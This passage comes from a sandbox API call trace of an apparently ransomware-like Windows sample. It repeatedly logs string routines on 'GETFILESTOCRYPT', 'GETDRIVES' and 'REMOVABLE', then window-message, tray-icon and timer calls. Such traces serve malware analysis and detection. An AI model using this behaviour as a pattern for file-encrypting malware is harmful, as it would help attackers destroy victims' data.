lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.787] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.787] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.787] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.787] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.787] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.787] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.788] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.788] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.788] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.788] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.788] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.788] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.789] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.789] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.789] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.789] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.789] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.789] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.789] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.789] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.790] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.790] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.790] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.790] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.790] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.790] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.790] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.791] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.791] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.791] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.791] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.791] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.791] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.792] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.792] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.792] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.792] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.792] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.792] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.793] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.793] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.793] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.793] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.793] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.793] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.793] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.793] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.793] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.794] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.794] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.794] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.794] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.795] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.795] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.795] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.795] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.795] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.795] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.795] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.795] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.796] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.796] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.796] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.796] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.796] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.796] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.796] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.796] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.796] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.797] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.797] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.797] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.797] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.797] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.797] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.798] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.798] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.798] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.798] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.799] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.799] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.799] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.799] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.799] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.799] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.799] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.799] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.800] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.800] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.800] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.800] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.800] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.800] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.801] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.801] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.801] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.801] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.802] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.802] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.803] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.803] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.803] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.805] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.805] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.805] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.805] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.805] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.805] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.806] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.806] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.807] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.095] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0084.380] TranslateMessage (lpMsg=0x130f204) returned 0 [0084.380] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0084.380] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0084.385] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0084.385] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0084.385] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.385] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.385] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.385] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.385] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.386] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.386] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.386] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.386] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 